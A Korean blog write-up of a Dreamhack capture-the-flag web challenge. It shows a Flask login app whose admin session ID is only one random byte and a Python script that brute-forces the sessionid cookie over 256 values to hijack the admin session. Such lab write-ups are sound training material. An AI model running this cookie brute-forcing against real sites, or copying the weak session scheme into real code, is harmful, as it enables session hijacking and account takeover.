문제 설명에 따르면 이 서비스는 쿠키와 세션으로 인증 상태를 관리하는 간단한 로그인 서비스입니다.
admin 계정으로 로그인에 성공하면 플래그를 획득할 수 있습니다.
웹 서비스에 접속하면 아래와 같은 화면이 표시됩니다.

일단 가장 기본적인 로그인 서비스를 확인하기 위해서 로그인을 시도해봅니다. 드림핵 워게임에서 가장 많이 쓰이는 Guest로 로그인을 시도합니다.


보다 명확한 이해를 위해 문제 파일을 직접 받아 코드 내용을 확인해 보았습니다.
app.py
#!/usr/bin/python3
from flask import Flask, request, render_template, make_response, redirect, url_for
app = Flask(__name__)
try:
FLAG = open('./flag.txt', 'r').read()
except:
FLAG = '[**FLAG**]'
users = {
'guest': 'guest',
'user': 'user1234',
'admin': FLAG
}
session_storage = {
}
@app.route('/')
def index():
session_id = request.cookies.get('sessionid', None)
try:
username = session_storage[session_id]
except KeyError:
return render_template('index.html')
return render_template('index.html', text=f'Hello {username}, {"flag is " + FLAG if username == "admin" else "you are not admin"}')
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'GET':
return render_template('login.html')
elif request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
try:
pw = users[username]
except:
return '<script>alert("not found user");history.go(-1);</script>'
if pw == password:
resp = make_response(redirect(url_for('index')) )
session_id = os.urandom(4).hex()
session_storage[session_id] = username
resp.set_cookie('sessionid', session_id)
return resp
return '<script>alert("wrong password");history.go(-1);</script>'
if __name__ == '__main__':
import os
session_storage[os.urandom(1).hex()] = 'admin'
print(session_storage)
app.run(host='0.0.0.0', port=8000)
🚨 취약점(핵심)
if __name__ == '__main__':
import os
session_storage[os.urandom(1).hex()] = 'admin' # ❗ 1바이트
- 일반 사용자(guest, user)는 로그인 시 4바이트(8 hex) 세션ID가 발급되므로 경우의 수가 약 43억 가지에 달해 사실상 브루트포스가 불가능하다.
- 그러나 admin 계정만 서버 시작 시 1바이트(2 hex) 세션ID로 선주입되며, 경우의 수가 단 256가지에 불과하다.
- 공격자는 단순히 sessionid 쿠키를 00~ff 범위로 바꿔가며 요청을 반복하면, 빠른 시간 안에 admin 세션을 맞출 수 있다.
이를 검증하기 위해 다음과 같은 브루트포스 코드를 작성하여 진행하였다.
🔎 브루트포스란?
브루트 포스(Brute Force)란 가능한 모든 입력 값을 전부 시도하여 정답을 찾는 방식을 의미합니다. ‘Brute(무식한, 강제적인)’와 ‘Force(힘)’라는 단어가 결합된 이름처럼, 특별한 기법이나 최적화를 사용하지 않고 순전히 계산 자원과 시간에 의존하는 가장 단순하면서도 원초적인 공격 방법입니다.
#!/usr/bin/env python3
import sys
import re
import requests
BASE = sys.argv[1] if len(sys.argv) > 1 else "http://host1.dreamhack.games:15113"
def try_sid(sid: str) -> str | None:
# 쿠키에 sessionid를 심어서 / 요청
headers = {"Cookie": f"sessionid={sid}", "User-Agent": "ctf-client"}
r = requests.get(f"{BASE}/", headers=headers, timeout=5, allow_redirects=True)
if "flag is " in r.text:
# 간단히 플래그 추출 (템플릿에 따라 조정)
m = re.search(r"flag is\s+([^\s<]+)", r.text, re.I)
return m.group(1) if m else "(found but parse failed)"
return None
def main():
with requests.Session() as s:
# 연결 재사용 (속도 ↑)
s.headers.update({"User-Agent": "ctf-client"})
for i in range(256):
sid = f"{i:02x}"
try:
flag = try_sid(sid)
except requests.RequestException:
continue
if flag:
print(f"[+] HIT: sessionid={sid}")
print(f"[+] FLAG: {flag}")
return
print("[-] Not found (server may have restarted or page text changed)")
if __name__ == "__main__":
main()
🔎 동작 원리
- 프로그램 실행 시 URL 인자를 주면 해당 주소를 대상으로 실행한다.
- 세션ID 후보를 00부터 ff까지 총 256개 생성한다.
- 각 세션ID를 sessionid 쿠키 값으로 설정해 / 경로에 요청을 보낸다.
- 서버 응답 안에 "flag is ..."라는 문자열이 포함되어 있으면 정규식으로 FLAG 값을 추출한다.
- 256개 세션ID를 순서대로 검사하면서 FLAG가 발견되면 해당 세션ID와 FLAG를 출력하고 프로그램을 종료한다.
- 모든 시도를 마쳐도 FLAG를 찾지 못한 경우 "Not found" 메시지를 출력한다.

🚩 최종적으로 256가지 세션ID를 모두 시도한 결과 관리자 세션을 찾아내 FLAG를 획득할 수 있었고, 문제를 해결하였다.
'Dreamhack > 웹해킹' 카테고리의 다른 글
| [🌱Beginner] ex-reg-ex (0) | 2025.08.22 |
|---|---|
| [🌱Beginner] simple-web-request (0) | 2025.08.22 |
| [🌱Beginner] command-injection-1 (0) | 2025.08.19 |
| [🌱Beginner] web-misconf-1 (0) | 2025.08.19 |
| [🌱Beginner] file-download-1 (0) | 2025.08.18 |